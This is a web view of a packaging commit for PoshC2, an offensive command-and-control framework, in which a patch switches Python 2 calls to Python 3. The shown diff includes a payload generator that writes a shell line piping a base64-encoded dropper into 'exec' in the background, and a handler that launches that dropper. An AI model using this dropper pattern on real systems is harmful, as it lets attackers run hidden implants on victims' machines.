Codebase list poshc2 / ff2bb36
Update fix-shebang.patch Sophie Brun 3 years ago
1 changed file(s) with 30 addition(s) and 2 deletion(s). Raw diff Collapse all Expand all
33
44 Last-update: 2020-05-19
55 ---
6 resources/modules/linuxprivchecker.py | 169 +++++++++++++++++-----------------
7 1 file changed, 85 insertions(+), 84 deletions(-)
6 poshc2/client/command_handlers/ImplantHandler.py | 2 +-
7 poshc2/server/payloads/Payloads.py | 2 +-
8 resources/modules/linuxprivchecker.py | 169 ++++++++++++-----------
9 3 files changed, 87 insertions(+), 86 deletions(-)
810
11 diff --git a/poshc2/client/command_handlers/ImplantHandler.py b/poshc2/client/command_handlers/ImplantHandler.py
12 index 9f67845..247a60e 100644
13 --- a/poshc2/client/command_handlers/ImplantHandler.py
14 +++ b/poshc2/client/command_handlers/ImplantHandler.py
15 @@ -837,7 +837,7 @@ def do_creds(user, command):
16
17
18 def do_pwnself(user, command):
19 - subprocess.Popen(["python2.7", "%s%s" % (PayloadsDirectory, "py_dropper.py")])
20 + subprocess.Popen(["python3", "%s%s" % (PayloadsDirectory, "py_dropper.py")])
21 clear()
22
23
24 diff --git a/poshc2/server/payloads/Payloads.py b/poshc2/server/payloads/Payloads.py
25 index c812f49..b17bb21 100644
26 --- a/poshc2/server/payloads/Payloads.py
27 +++ b/poshc2/server/payloads/Payloads.py
28 @@ -374,7 +374,7 @@ class Payloads(object):
29 .replace("#REPLACEUSERAGENT#", self.UserAgent)
30
31 py = base64.b64encode(self.PyDropper.encode('UTF-8'))
32 - pydropper = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python2 &" % (py).decode('UTF-8')
33 + pydropper = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (py).decode('UTF-8')
34 with open("%s%spy_dropper.sh" % (self.BaseDirectory, name), 'w') as f:
35 f.write(pydropper)
36
937 diff --git a/resources/modules/linuxprivchecker.py b/resources/modules/linuxprivchecker.py
1038 index 3023e6b..8e60aa6 100644
1139 --- a/resources/modules/linuxprivchecker.py